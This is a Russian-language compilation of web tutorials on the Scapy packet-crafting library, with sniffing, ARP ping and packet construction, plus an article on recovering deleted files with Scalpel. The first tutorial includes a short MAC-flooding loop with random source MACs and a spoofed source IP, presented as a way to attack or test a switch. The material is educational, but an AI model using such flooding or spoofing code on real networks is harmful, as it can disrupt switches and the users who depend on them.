Начальная

Windows Commander

Far
WinNavigator
Frigate
Norton Commander
WinNC
Dos Navigator
Servant Salamander
Turbo Browser

Winamp, Skins, Plugins
Необходимые Утилиты
Текстовые редакторы
Юмор

File managers and best utilites

Восстановление удаленных данных с помощью Scalpel. Работа со скальпелем разбираемся с утилитой scapy


Сетевые технологии для начинающих: Сетевой скальпель (Scapy)

Добрый день. Сегодня мы познакомимся с работой программы scapy. Немного теории о этой замечательной программе:

Scapy — сетевая утилита написанная на языке Python, которая позволяет посылать, просматривать и анализировать сетевые пакеты. В отличии от многих других утилит, утилита Scapy не ограничена только теми протоколами, пакеты которых она может генерировать. Фактически, она позволяет создавать любые пакеты и комбинировать атаки различных типов. ( взято с http://xgu.ru/wiki/Scapy )  От себя дополню то, что это программа работает как под Linux, так и под Windows.Существуют отличные статьи, где расписан подробно весь или почти весь функционал этой замечательной программы ( см. ниже), но мы с вами разберем базовые вопросы и примеры работы этой программы.

И так первым делом для наблюдения работы данной программы нам понадобится небольшой стенд (реальный или виртуальный выбирать вам, тестировал на реальном). Из ПО я взял обе машины на базе Ubuntu с установленными Wireshark и Scapy.

На данном этапе я думаю стоит сделать паузу и рассказать о "тонкостях" установки и работы этих замечательных программ на OC Ubuntu.

Wireshark ставится или с центра обновления или через консоль командой

sudo apt-get install wireshark

Однако если вы запускаете Wireshark и заметили, что у вас нет интерфейсов - то необходимо знать, что wireshark необходимо запускать с консоли от рута)

sudo wireshark.

Теперь необходимо разобраться с Scapy. Я пробовал найти и поставить прямой deb пакет, но то ли от кривизны моих рук (небольшой опыт в linux), то ли еще что ... Я нашел еще один способом

sudo apt-get update sudo apt-get install python-scapy python-pyx python-gnuplot Затем мы запускаем сам Scapy.  sudo scapyWARNING: No route found for IPv6 destination :: (no default route?)Welcome to Scapy (2.2.0)>>>

Это как бы консоль  Scapy.>>>quit() That's all! See you. Ну вот мы и установили интересующие нас программы и собрали схему.Начнем с простого: запустим 1 фрейм, да да фрейм, scapy не нужны заголовки 3го уровня ( см. OSI модель). sendp(Ether(src=srcMAC, dst=dstMAC) - проще некуда)

В данной команде мы видим "оператор" sendp - который осуществляет отсылку фрейма/пакета. Значения src и dst, указывают mac-адреса того кто отправил и того кто принял, то есть в нашем случае здесь будут вместо srcMAC mac-адрес нашего компьютера с scapy, а в dstMAC mac-адрес компьютера с Wireshark.

Пример:

Мы видим, что фрейм ушел. От нашего устройства, другому устройству.Самый большой плюс, что вместо mac-адреса источника можно указать любой адрес)  Если мы укажем вместо адреса назначения адреса броадкаста (ff:ff:ff:ff:ff:ff), то при попадании в интерфейс коммутатора, он пойдет во все интерфейсы (ну что и логично). Также можно и не указывать адрес назначения, в этом случае фрейм полетит автоматически броадкастом.  А теперь мы с вами прикрутим к пакету заголовок 3 уровня. 

Теперь перейдем к практическому применению этой программы. Допустим нам надо атаковать слабозащишенный коммутатор или проверить его заявленные требования по кол-ву обучаемых mac-адресов.

Для этого бы вводим несколько новых строчек.

Первым делом нам нужно сделать цикл в котором будет реализованна функция случайного значения.

import timefor n in xrange(1000) :  srcMAC = "00"+str(RandMAC())[2:]

Затем если мы атакуем/тестируем конкретный mac-адрес, то мы дописываем строчку

  dstMAC = "70:72:CF:00:57:6A" , однако я использовал только броадкаст.

Затем переменной присвоим строчку

pkt = Ether(src=srcMAC, dst=dstMAC)/IP(src="133.0.0.1",dst="10.10.10.10")/Padding(load="X"*124)

и конечно же пропишем команду для отправки этой переменной ( то есть составленного нами пакета)

  sendp(pkt)

Как дополнительные функции укажем

srcMAC + " " + str(n)time.sleep(0.1)

Здесь и так все понятно.

В целом конфигурация имеет вид:

import timefor n in xrange(1000) :  srcMAC = "00"+str(RandMAC())[2:]  dstMAC = "70:72:CF:00:57:6A"  pkt = Ether(src=srcMAC, dst=dstMAC)/IP(src="133.0.0.1",dst="10.10.10.10")/Padding(load="X"*124)  srcMAC + " " + str(n)  sendp(pkt)  time.sleep(0.1)

Конечно это базовые вещи, да и цель статьи на понимание базовых вещей программы.Я надеюсь кому-то это статья будет полезна. более полные и действительно интересные программы реализованные в данной программе можете найти по ссылкам ниже. Спасибо за внимание. С уважением MonaxGT.

Если у Вас есть желания отблагодарить еще и денежно, можете кинуть монет на 41001601023715 .

http://samiux.blogspot.ru/2012/05/howto-scapy-220-on-ubuntu-1204-lts.htmlhttp://www.xakep.ru/magazine/xa/126/028/1.asphttp://xgu.ru/wiki/Scapyhttp://www.secdev.org/projects/scapy/doc/

network-begin.blogspot.com

Scapy. Основы конструирования сетевых пакетов

Опубликовано в журнале "Системный администратор" Выпуск №10 (107) 2011гАвтор: Бражук А.

Статья является введением в многофункциональный расширяемый генератор сетевых пакетов Scapy, работающий в интерпретируемой среде языка программирования Python.

Предисловие

Сфера применения генераторов сетевых пакетов достаточно обширна: они могут быть полезны как средства первичной диагностики сети, при решении нестандартных задач автоматизации мониторинга серверов и сервисов, тестирования и анализа защищенности. Хороший генератор можно с успехом использовать для наглядной демонстрации при изучении сетевых взаимодействий, а также при создании и отладке новых протоколов. В общем, подобный инструмент востребован программистом и системным администратором, специалистом по информационной безопасности и просто энтузиастом, интересующимся сетями.

Примером многофункционального расширяемого генератора пакетов и является рассматриваемая в статье утилита Scapy. По сути, Scapy предназначена для конструирования, отправки, перехвата и анализа сетевых пакетов, а также для манипулирования единицами передачи протоколов транспортного уровня (UDP-датаграммами и TCP-сегментами) и сообщениями прикладных протоколов [1].

Средой выполнения данной утилиты выступает интерпретатор языка программирования Python, что позволяет использовать ее как в интерактивном режиме, так и в виде модуля (подключаемой библиотеки) в скриптах, написанных на Python. Фактически, с помощью Scapy можно воспроизвести функции любой сетевой утилиты, начиная от простейших ICMP-команд типа ping и traceroute и заканчивая реализациями сложных алгоритмов поиска уязвимостей безопасности [2]. При чем, по заверениям автора этого открытого проекта, то, для чего на языке программирования C потребуется написать сто строк кода, в Scapy делается буквально двумя строками.

Немного дегтя

Прежде чем, как говорится, с головой погружаться в захватывающий мир возможностей Scapy, следует учесть несколько моментов.

Во-первых, эта утилита наиболее полезна для решения нестандартных проблем, требующих дополнительной обработки полученных результатов, т. е. когда от инструмента требуется гибкость. Не надо забывать, что для типичных задач диагностики создано множество средств с куда более классическим интерфейсом, например, таких как сканер портов Nmap или утилита перехвата сетевого трафика tcpdump и т. д.

Во-вторых, Scapy неразлучна с языком программирования Python. И для всего, что сложнее, чем примеры, описанные в руководстве пользователя, желательно хотя бы понимание базовых конструкции и подходов, характерных для Python. Правда, с позиций человека, имеющего некоторое представлении о процессе программирования, этот язык выглядит ни чуть не сложнее других, и при наличии желания и хорошего руководства [3] вполне «постигаем». Лишь забавный дискомфорт (субъективно) вызывает замена ставших привычными разделителей синтаксических конструкций (всевозможных скобок, ключевых слов и т. д.) на отступы от начала строки.

В-третьих, если имеет место личная несовместимость с Python, то, разумеется, Scapy не единственный в этом мире генератор пакетов [4] и можно подобрать средство или сетевую библиотеку, привязанную к предпочитаемой технологии или языку программирования.

В-четвертых, учитывая «интерпретируемость» и многоуровневую абстракцию среды программирования, Scapy не претендует на рекордные показатели производительности. В частности, данный аспект нужно иметь ввиду при реализации тестирования производительности сети.

В-пятых, Scapy в большей степени ориентирована на протоколы, не требующие установления соединения (об этом еще будет сказано ниже).

В-шестых, Scapy является типичным представителем так называемых проектов одного разработчика, со всеми их недостатками и достоинствами.

Особенности интерактивного режима

Утилита Scapy предназначена для Unix-подобных систем, но есть также возможность ее использования под Windows. Последнюю версию программы можно найти на сайте проекта [5].

В Ubuntu/Mint Linux версия 2.x утилиты (речь здесь именно о ней) оказалась в стандартных репозиториях, поэтому установка никаких затруднений не вызвала. Среда программирования Python в системе была уже инсталлирована, а вот программных пакетов Gnuplot и PyX не нашлось. И при старте Scapy оповестила о невозможности рисования графиков и создания PDF-файлов. Если графики нужны, то указанные приложения также можно установить из стандартных репозиториев. Со всеми зависимостями поддержка графики в Scapy уменьшит свободное место на файловой системе примерно на сотню мегабайт.

Запускать утилиту нужно в сессии суперпользователя или с использованием механизма sudo, т. к. отправка произвольных пакетов и их перехват на уровне «сырого» устройства требует привилегии администратора:

$ sudo scapy WARNING: No route found for IPv6 destination :: (no default route?) Welcome to Scapy (2.1.0) >>>

Это и есть интерактивный режим работы, в рамках которого можно определять объекты (пакеты, группы пакетов), выполнять команды, отправлять и перехватывать пакеты по сети, ожидать ответа от удаленных систем и т. д. Выход из интерактивного режима - команда quit().

Для просмотра списка всех доступных функции нужно использовать команду lsc(). Команда ls() отображает весьма внушительный список объектов, реализующих сообщения различных протоколов (ARP, BOOTP, DHCP, DNS, IEEE 802.11, IEEE 802.1q, Ethernet, ICMP, IP, NTP, PPP, PPPoE, Radius, SNMP, STP, TCP TFTP, UDP и т.д., а также различные протоколы для IP версии 6). По любой функции или объекту можно получить справку, используя команду help с указанием в скобках имени объекта, например help(sniff) или help(IP). Выход из справки — клавиша q.

Как известно, процесс сетевого взаимодействия является многоуровневым, и любые данные, предназначенные для отправки в сеть, снабжаются в заданном порядке заголовками протоколов. Эта концепция положена и в основу Scapy: пакет представляет собой совокупность уровней/слоев (заголовков протоколов), каждый из которых включает специфичные для него поля. С точки зрения программирования, описания слоя с полями и возможными операциями над ними — это классы, а экземпляры классов - объекты.

Создадим составной объект a, представляющий собой ICMP-запрос:

>>> a=IP(src="192.168.56.1",dst="192.168.56.2")/ICMP()/"icmpdata"

Уровни составных объектов разделяются символом «/». В определении каждого слоя в скобках через запятую можно указать необходимые значения полей. Строка определяет «сырые» (raw) данные протокола. Те значения полей, которые не определены пользователем, выставляются автоматически, исходя из значений по умолчанию или вычисляются если это необходимо. Для того, чтобы посмотреть, как будет выглядеть пакет с заполненными полями, можно воспользоваться методом объекта show2. Команда ls с указанием в скобках имени уровня отображает все поля и значения по умолчанию, например ls(ICMP).

Значение любого поля заголовка доступно как для записи, так и для чтения:

>>> a.ttl=10 >>> a.ttl 10

Разумеется, с уровнями пакета и целиком с пакетом можно проводить все допустимые объектно-ориентированной концепцией Python преобразования: присваивания, копирования, вызова методов, наследования и т. д.

Отправка и получение пакетов

Для безусловной отправки пакета на сетевом уровне используется функция send(). Для отправки пакета, сконструированного в предыдущем пункте нужно просто написать:

>>> send (a)

При использовании функции send(), Scapy автоматически добавляет заголовок канального уровня, обращаясь к системным возможностям: определяется исходящий сетевой интерфейс, при помощи ARP-запроса разрешается MAC-адрес узла назначения и т. п. (ниже приведен фрагмент дампа сетевого трафика):

15:47:31.212029 0a:00:27:00:00:00 > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.56.2 tell 192.168.56.1, length 28 15:47:31.248953 08:00:27:53:1e:3e > 0a:00:27:00:00:00, ethertype ARP (0x0806), length 42: Reply 192.168.56.2 is-at 08:00:27:53:1e:3e, length 28 15:47:31.296903 0a:00:27:00:00:00 > 08:00:27:53:1e:3e, ethertype IPv4 (0x0800), length 50: 192.168.56.1 > 192.168.56.2: ICMP echo request, id 0, seq 0, length 16 15:47:31.297875 08:00:27:53:1e:3e > 0a:00:27:00:00:00, ethertype IPv4 (0x0800), length 50: 192.168.56.2 > 192.168.56.1: ICMP echo reply, id 0, seq 0, length 16

В Scapy можно также использовать безусловную функцию отправки на канальном уровне sendp(). Параметр iface sendp() позволяет выбирать исходящий интерфейс. При этом, пользователю нужно создать уровень Ethernet в пакете:

>>> sendp (Ether()/a,iface="vboxnet0")

Практический интерес представляют функции для отправки пакетов и ожидания ответов на них: sr() - на сетевом уровне, srp() - на канальном уровне.

Например, для сканирования подсети так называемым ARP-пингом (отправкой ARP-запросов и анализом полученных ARP-откликов) можно использовать следующую конструкцию (обратите внимание, отправляется не один пакет, а каждому узлу подсети по пакету):

>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.56.0/24"), timeout=2,iface="vboxnet0")

Функция srp() возвращает два списка: первый (ans) содержит пары отправленных и полученных пакетов, второй (unans) — пакеты, на которые не было ответов. Для того, чтобы получить доступ, например, к первому списку можно использовать такое выражение (отображен и результат):

>>> for snd,rcv in ans: ... print rcv.summary() ... Ether / ARP is at 08:00:27:53:1e:3e says 192.168.56.2 Ether / ARP is at 08:00:27:a6:21:79 says 192.168.56.100 / Padding

Цикл for последовательно перебирает все пары и на каждой итерации, в переменной snd содержится отправленный пакет, а в переменной rcv — полученный.

В документации в этом примере для вывода результата используется такая конструкция:

>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )

При более подробном рассмотрении «диковатое» для непривычного глаза выражение с ключевым словом lambda оказалась замечательной возможностью Python объявлять на лету однострочные функции, а «s» и «r» - все те же отправленный и полученный пакеты соответственно. Кстати, ARP-пинг в Scapy присутствует также и в виде стандартной функции arping().

Перехват сетевых пакетов

При использовании большего количества элементов программирования работать в интерактивном режиме становится неудобно. В этом случае можно воспользоваться возможностью использования функций и объектов Scapy в скриптах на Python, например как в листинге:

#!/usr/bin/python from scapy.all import * import sys if len(sys.argv) != 3: print "Usage: ",sys.argv[0]," " sys.exit(1) ipa=sys.argv[1] iface=sys.argv[2] def psv_output(pkt): if pkt.haslayer(IP): return pkt.command() def myfilter(pkt): if pkt.haslayer(IP): return ((pkt[IP].dst == ipa) or (pkt[IP].src == ipa)) sniff(prn=psv_output, iface=iface, lfilter=myfilter, store=0)

Функция sniff() предназначена для перехвата сетевого трафика. Она имеет интересный параметр prn, который дает возможность отображать заданный текст (в данном случае значением prn является функция psv_output, просто печатающая содержимое полей пакета).

Еще одна опция lfilter позволяет задавать фильтр пакетов в виде логической функции (в данном случае myfilter). В документации описывается также параметр filter, который позволяет задавать фильтры в стиле Tcpdump, но в тестовой конфигурации он почему-то не работал.

Также в функциях пришлось добавить проверку на наличие IP-уровня, так как первый же перехваченный ARP-пакет, ввиду отсутствия в нем данного уровня, приводил к программному исключению в работе скрипта.

О протоколах, ориентированных на соединение

Scapy базируется на простой модели «Запрос-ответ», в то же время ориентированные на соединение протоколы, в частности TCP, не слишком удобны для реализации в рамках этой модели, в связи с наличием процедуры установления и завершения соединения, управления скоростью передачи и т.д. [6].

Для работы с TCP непосредственно в Scapy есть две возможности. Первая заключается в использовании встроенного объекта StreamSocket на основе реализации стека TCP/IP ядра операционной системы. Вторая возможность связана с использованием TCP-клиента модуля Automaton [7], хотя функциональность в этом случае существенно ограничена. Кроме того, есть несколько сторонних реализаций TCP на основе Scapy.

Несколько слов о субпроектах

На сайте проекта также есть информация о нескольких поддерживаемых разработчиками Scapy проектах, использующих возможности данной утилиты.

Например, веб-приложение Scapytain [8] позволяет сохранять и воспроизводить пакеты, организовать на их основе комплексные тестовые сценарии. Правда, в настоящее время эта утилита находится в стадии бета-тестирования. Модульному тестированию посвящен еще один субпроект UTScapy [9]. В отличие от Scapytain, данная программа работает в режиме командной строки. Отдельный (исследовательский) интерес также представляет утилита Wifitrap [10], демонстрирующая концепцию взаимодействия по сетям Wi-Fi на основе перехвата и внедрения трафика.

Послесловие

Данная статья является введением в Scapy. Здесь не описаны многие возможности этого в некотором смысле уникального инструмента, в частности, работа с дампами сетевого трафика, встроенные сетевые функции, вывод результатов в виде таблиц, управление собственными таблицами маршрутизации и т. д. Много полезной информации по Scapy можно найти на сайте проекта, а также во встроенной справочной подсистеме.

Следует отметить, что первое знакомство со Scapy выявило прямую зависимость эффективности использования Scapy от знаний конкретных протоколов и особенностей сетевых взаимодействий: чем больше Вы знаете о сетях, тем проще освоиться со Scapy; чем глубже Вы постигаете Scapy, тем больше узнаете о том, как работают сети.

Ссылки

1.Welcome to Scapy’s documentation! - http://www.secdev.org/projects/scapy/doc/2.Степан "Step" Ильин. Работа со скальпелем. Разбираемся с утилитой Scapy / Хакер № 06/09 (126) - http://www.xakep.ru/magazine/xa/126/028/1.asp 3.The Python Tutorial - http://docs.python.org/tutorial/ 4.Traffic generators - http://wiki.wireshark.org/Tools#Traffic_generators 5.http://www.secdev.org/projects/scapy/ 6.TCP and Scapy - http://trac.secdev.org/scapy/wiki/TCP 7.Using Automata - http://trac.secdev.org/scapy/wiki/Automata 8.http://www.secdev.org/projects/scapytain/ 9.http://www.secdev.org/projects/UTscapy/ 10.http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html

nets4geeks.blogspot.com

Знакомство со Scapy :: Практикум

Рейтинг

Оценка: 5Голосов: 1Комментарии: 1

Scapy — это сетевая утилита, написанная на языке Python, которая позволяет посылать, просматривать и анализировать сетевые пакеты. В отличие от многих других утилит, Scapy не ограничена перечнем каких-то протоколов, пакеты которых она может генерировать. Фактически, она позволяет создавать любые пакеты и комбинировать атаки различных типов.

Получить данную утилиту можно по ссылке http://www.secdev.org/projects/scapy/.

С помощью Scapy можно выполнять различные сетевые атаки для проверки защищенности устройств.

 

Рис.1. Запуск сетевой утилиты Scapy.

Для запуска Scapy необходимо выполнить: ./run_scapy.

 

Рис.2. Scapy готова к работе.

 

Рис.3. Scapy ls().

Команда ls() выведет список протоколов, которые доступны для работы в Scapy.

 

Рис.4. Сниффер.

Запускаем Сниффер, который занесет в переменную p пять пакетов:

p = sniff(count=5)

Выводим на экран содержимое переменной p:

p.show()

 

Рис.5. Scapy создание сетевого пакета.

Создаем сетевой пакет, dst – задаем IP-адрес, для которого предназначен пакет, dport — порт назначения:

p = IP(dst=’192.168.4.1′)/TCP(dport=25)

Выводим данные, добавленные в пакет:

р

 

Рис.6. Структура пакета.

Функция show выведет более подробную информацию о пакете. В пакет добавляются такие данные:

dst — IP-адрес получателя;

src — IP-отправителя (по умолчанию, src - это IP-адрес компьютера, с которого был отправлен пакет).

 

Рис.7. Изменение параметра IP-адреса отправителя.

При желании, IP отправителя можно изменить.

 

Рис.8. Результат изменения пакета.

Специально для ASP24.

Если Вы нашли ошибку в тексте, то выделите ее мышкой и нажмите Ctrl + Enter или нажмите здесь.

Большое спасибо за Вашу помощь! Мы скоро исправим ошибку!

Сообщение не было отправлено. Пожалуйста, попробуйте еще раз.

Сообщение об ошибке

Ошибка:

Ваш комментарий (не обязательно):

Да Отмена

asp24.com.ua

Восстановление удаленных данных с помощью Scalpel / Хабр

У каждого человека в жизни возникает такая ситуация как rm -rf на той папке, где этого не следовало делать. Бекапы это хорошо, но что делать если их нет? Для Linux систем существует утилита Scalpel, которая позволяет восстановить удалённые файлы по заданным паттернам, включая применение регулярных выражений. Scalpel является форком проекта Foremost (с версии 0.69), начавший свою историю с 2005 года. Имеет свой github репозиторий и является более быстрым по скорости восстановления данных, а также эффективности чем Foremost. Говоря о разнице этих двух проектов можно сказать, что вышедшая после версии 0.69 Foremost имеет новые семантические техники восстановления данных. К примеру при восстановлении JPEG файлов используется заголовок этого файла для вычисления соответствующего тела изображения, когда Scalpel просто возьмет данные между заданными сигнатурами завершения и начала файла изображения. Таким образом можно сказать, что Foremost более точно может восстановить потерянные данные, когда Scalpel сделает это значительно быстрее.

Возможности которые предоставляет Scalpel:

  1. Восстановление независимо от файловой системы
  2. Выставление минимального и максимального размеров восстанавливаемого файла
  3. Использование многопоточности на многоядерных системах
  4. Асинхронные операции ввода/вывода дающие прирост при поиске по шаблону
  5. Использование TRE регулярных выражений для поиска по началу и концу файла
  6. Возможность восстановления из вложенных структур данных
  7. Для гиков доступна возможность использования GPU, что доступно только для Linux и требует предустановленного NVIDIA CUDA SDK и небольших модификаций исходного кода (поиск c применением регулярных выражений не работает с GPU)
Scalpel как правило доступен среди пакетов соответствующего дистрибутива Linux, но также можно собрать его из сырцов забрав с репозитория гитхаба.

Настройка приложения осуществляется в файле /etc/scalpel/scalpel.conf, где задаются соответствующие шаблоны поиска файлов. В нём можно увидеть уже готовые пресеты для поиска, к примеру по изображениям или doc файлам. Для восстановления потерянных данных следует раскомментировать соответствующие шаблоны и запустить приложение.

Если в файле отсутствует шаблон нужного файла, или к примеру вы ищете какого-то определенного формата xml то возникает необходимость создания своего шаблона, который описывается подобно правилам представленным ниже

Type Case sensitive Size range Header Footer Search option
avi y 50000000 RIFF????AVI
doc y 10000000 \xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00 \xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00 NEXT
pdf y 500000 %PDF %EOF\x0d REVERSE
pdf y 500000 %PDF %EOF\x0a REVERSE
tex y 300:50000 /%.{1,20}\.tex/ /%.{1,20}\.tex\sEnd/
php y 100000 <?php ?> REVERSE
Вкратце о колонках
  • Type – имеет значение только в контексте программы, никакого отношения к восстанавливаемым файлам не имеет и будет использовано только при отображении лога и названии директорий в востановленных данных. Можно не указывать, в таком случае просто поставить NONE
  • Case sensitive – учитывать ли регистр при поиске по заданному шаблону
  • Size range – если указано просто число, то максимальный размер искомого файла, если через двоеточие то min:max размер файла
  • Header, Footer – шаблоны поиска начала и конца файла. Допустимо использование TRE регулярных выражений. В качестве пробела используется символ \s, также можно использовать шестнадцатричное и восьмеричное представление искомых данных к примеру \x[0-f][0-f] или \[0-3][0-7][0-7]
Важно отметить, что в качестве последнего поля Search option допустимы значения:
  • REVERSE — данный параметр следует использовать если в файле может использоваться несколько завершающих паттернов. К примеру PDF файлы или PHP, в которых может быть несколько скриптов обрамленных в <?php… ?>
  • NEXT — применяется когда нужно получить данные между началом и первым завершением файла, если конец файла не обнаружен тогда будет взята область размером указанным в поле size
  • FORWARD_NEXT — является стандартным вариантом поведения и его указание не является обязательным. В этом варианте происходит строгая проверка шаблона, и если найдено начало файла и не найдено его завершение в заданном размере памяти то данный участок исключается из результатов поиска, если только не указана опция -b при запуске программы, тогда будет взят участок указанного размера с соответствующим началом, а в лог работы приложения [audit.txt] будет написано об обрезанном файле (колонка chop)
Заметка В случае если вам нужно использовать знак вопроса "?" как искомую величину в составе заголовка или конца файла, тогда вам нужно переопределить wildcard символ, которым и является знак вопроса. Для этого нужно в начале конфигурационного файла написать wildcard S Где S новое обозначение wildcard символа в искомом выражении, или же воспользоваться шестнадцатричным представлением данного символа, что эквивалентно \0x3f или \063А теперь практика Предположим мы удалили файлы которые описываются шаблонами в таблице выше. Запишем эти шаблоны в конфигурационный файл (в качестве разделения колонок используется символ табуляции) /etc/scalpel/scalpel.conf и запустим восстановление (мной был заранее заготовлен образ с данными для восстановления) root# scalpel MyDrive.img -o recover Written by Golden G. Richard III, based on Foremost 0.69. Opening target "/home/username/Documents/repair_files/test/MyDrive.img" Image file pass 1/2. MyDrive.img: 100.0% |*****************************************************| 500.0 MB 00:00 ETA Allocating work queues... Work queues allocation complete. Building carve lists... Carve lists built. Workload: avi with header "\x52\x49\x46\x46\x3f\x3f\x3f\x3f\x41\x56\x49" and footer "" --> 1 files doc with header "\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00" and footer "\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00" --> 2 files pdf with header "\x25\x50\x44\x46" and footer "\x25\x45\x4f\x46\x0d" --> 33 files pdf with header "\x25\x50\x44\x46" and footer "\x25\x45\x4f\x46\x0a" --> 19 files php with header "\x3c\x3f\x70\x68\x70" and footer "\x3f\x3e" --> 8 files Carving files from image. Image file pass 2/2. MyDrive.img: 100.0% *****************************************************| 500.0 MB 00:00 ETA Processing of image file complete. Cleaning up... Done. Scalpel is done, files carved = 63, elapsed = 6 seconds. После завершения исполнения в результирующей папке мы обнаружим найденные файлы и audit.txt в котором будет краткая информация о найденных файлах подобно представленному нижеScalpel version 1.60 audit file Started at Wed Jan 7 12:50:52 2015 Command line: scalpel MyDrive.img -o recover Output directory: /home/username/Documents/repair_files/test/recover Configuration file: /etc/scalpel/scalpel.conf Opening target "/home/username/Documents/repair_files/test/MyDrive.img" The following files were carved: File Start Chop Length Extracted From 00000003.pdf 549888 NO 4162 MyDrive.img 00000055.php 1227776 NO 99954 MyDrive.img 00000001.doc 8916992 YES 10000000 MyDrive.img Также обратим внимание на некоторые доступные опции -p при использовании данной опции файлы не будут восстановлены, но будет создан файл аудита, в котором можно будет просмотреть какие файлы будут восстановлены -q с данной опцией scalpel будет сканировать только начало каждого кластера заданного размера и искать соответствующее начало искомого файла -v verbose режим -o указать каталог куда будет положен результат восстановления данных

Всем удачного восстановления данных!

Полезные ссылки
  1. Github репозиторий Scalpel
  2. Scalpel: A Frugal, High Performance File Carver. Golden R. Richard III, Vassil Roussev
  3. SANS Institute InfoSec reading room: data carving concepts
  4. TRE Regex Syntax

habr.com

Стресс тесты веб приложений с помощью Scrapy

Достаточно долгое время написание инструментов для пентеста компьютерных сетей считалось занятием очень непростым. Но все изменилось с появлением библиотеки Scapy для языка Python. С помощью этой связки можно удовлетворить любую потребность — от создания просто скрипта, отсылающего несколько заданных пакетов в сеть, до написания собственного снифера. Мало того, это не только просто, но и интересно. Об этом мы сегодня и поговорим и даже создадим свои инструменты для ARP– и DNS-спуфинга.

Вступительное слово

Доброго времени суток, дорогой Username, сегодня хотелось бы тебе рассказать об одной мощнейшей библиотеке для языка питон, которая также позиционируется как фреймворк. Имя ей Scapy. Данный инструмент предоставляет нам просто огромные возможности по работе с сетевыми технологиями. Например, он может собирать пакеты с последующей отправкой их в сеть, захватывать пакеты, а также читать их из сохраненного ранее дампа, исследовать сети и многое другое.

Все перечисленное можно делать «в прямом эфире» (то есть из консоли питона) или же посредством написания скриптов. Разработка данной утилиты изначально велась под UNIX-подобные системы, однако запустить ее возможно и на операционных системах семейства Windows. Также она неплохо взаимодействует с другими библиотеками языка питон. Например, gnuplot поможет нам в построении графиков, визуализируя работу инструмента, — что немаловажно, ведь графического интерфейса Scapy не имеет.

Установка модуля SCAPY

Ну что ж, приступим. Начать, я думаю, стоит с описания установки данной утилиты. Для ее работы нам потребуется установленный Python 2.6+, а также дополнительные библиотеки вроде pylibpcap. Если установка производится на Linux и он основан на Debian, то установка сводится к одной команде apt-get install python-scapy. Если же система основана на чем-либо другом, то поможет следующая очередность команд:

wget scapy.net unzip scapy-***.zip cd scapy-2.* python setup.py install

wget scapy.net

unzip scapy-***.zip

cd scapy-2.*

python setup.py install

Вместо первой команды также можно просто перейти по ссылке scapy.net, и тебе сразу предложат для загрузки самую свежую версию Scapy. Хочется также отметить, что последнюю команду, запускающую установку, стоит выполнять от имени суперпользователя, так как данная утилита работает на прикладном уровне и требует достаточно больших привилегий.

Ну что же, с установкой на Linux мы разобрались, но как быть обладателям остальных ОС? Начнем, пожалуй, с обладателей техники, произведенной одной фруктовой компанией. Для установки на ОС данного семейства нам придется вооружиться бубном. Первым делом установим MacPorts. Это достаточно мощная утилита, которая дает возможность установки софта, портированного с Linux. Очень подробную инструкцию по ее установке можно найти на официальном сайте проекта (bit.ly/1Ap4wtl).

Далее есть два пути развития событий.

Первый предусматривает создание своего велосипеда (что мало привлекает), а во втором мы воспользуемся скриптом, уже написанным за нас замечательным человеком с ником 0x90 (привет, HardWare Village!). Найти его можно в репозитории на гитхабе (bit.ly/14psIRE). За скрипт автору огромное спасибо. Все, что нам необходимо сделать далее, — скопировать скрипт, выполнить его от имени пользователя root и дождаться отчета об успешной установке. В моем случае использовалась OS Х 10.10 — полет нормальный.

Осталось у нас еще одно семейство ОС, которым, к сожалению, пользуются очень многие, — Windows. Для установки нам необходимо перейти на сайт разработчика и скачать последнюю версию Scapy, далее распаковать ее и в командной строке выполнить следующую команду:

После окончания установки, чтобы проверить работоспособность, мы запускаем интерпретатор питона и пишем коман ду import scapy.Стандартное окно Scapy, предлагающее начать ввод, представлено на рис. 1.

Как ты видишь, при отсутствии каких-либо библиотек Scapy сразу же предупредит нас. На этом первый шаг укрощения змея окончен, пора приступать к изучению самой утилиты.

Первое знакомство со SCAPY

Для начала предлагаю ознакомиться с основным функционалом этого чудо-комбайна. Одной из самых важных для новичка функций по праву можно считать ls(). Выполнив ее, мы увидим список из более чем трехсот протоколов, поддерживаемых этой утилитой. Выглядит это примерно так, как изображено на рис. 2.

Однако так будет лишь в том случае, если функцию ls выполнить без параметров, а вот если в качестве параметра указать имя какого-либо протокола, то мы получим детальную информацию о его структуре (см. рис. 3).

Обычно наибольший интерес представляет список всех полей, которые можно изменить в процессе создания пакетов. Основной функционал инструмента можно посмотреть командой lsc() — она выведет все имеющиеся в арсенале функции, но нам ведь этого мало, верно? Хотелось бы посмотреть мануал по функциям, и в этом нам поможет команда help(), параметром которой можно указать что-нибудь из полученного списка. Возьмем, например, help(sniff) — она выдаст нам подробную информацию по функции sniff (см. рис. 4).

Ну а теперь попробуем написать самый простой скрипт:

from scapy.all import * a=sniff(count=10) a.nsummary()

from scapy.all import *

a=sniff(count=10)

a.nsummary()

Число count означает количество пакетов, которые мы будем слушать в эфире до окончания программы. В нашем случае это десять, но этот параметр не является обязательным, и если его не указать, то снифер будет работать до получения заветной комбинации ctrl + c. Метод nsummary(), в свою очередь, выводит достаточно подробную статистику о захваченном трафике. Я запускал получившийся скрипт с включенным Wi-Fi и вот что получил на выходе:

0003 RadioTap / 802.11 Management 8L c8:64:c7:37:48:fd > ff:ff:ff:ff:ff:ff/Dot11Beacon / SSID='byfl y WIFI' / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt

0003 RadioTap / 802.11 Management 8L c8:64:c7:37:48:fd > ff:ff:ff:ff:ff:ff/Dot11Beacon / SSID='byfl y WIFI' / Dot11Elt /

Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt /

Dot11Elt / Dot11Elt / Dot11Elt

Мы видим наш эфир, какие сети ловятся, MAC-адреса, а также SSID. В данном случае мы поймали Beacon-пакет от Wi-Fi-сети, имя которой byfl y WIFI, а MAC-адрес вещающей точки — c8:64:c7:37:48:fd, тип вещания 802.11 Management. А теперь добавим в наш скрипт функцию wrpcap(), которая, как можно догадаться, дает нам возможность записать захваченный трафик в файл.

wrpcap("our_dump.pcap",a)

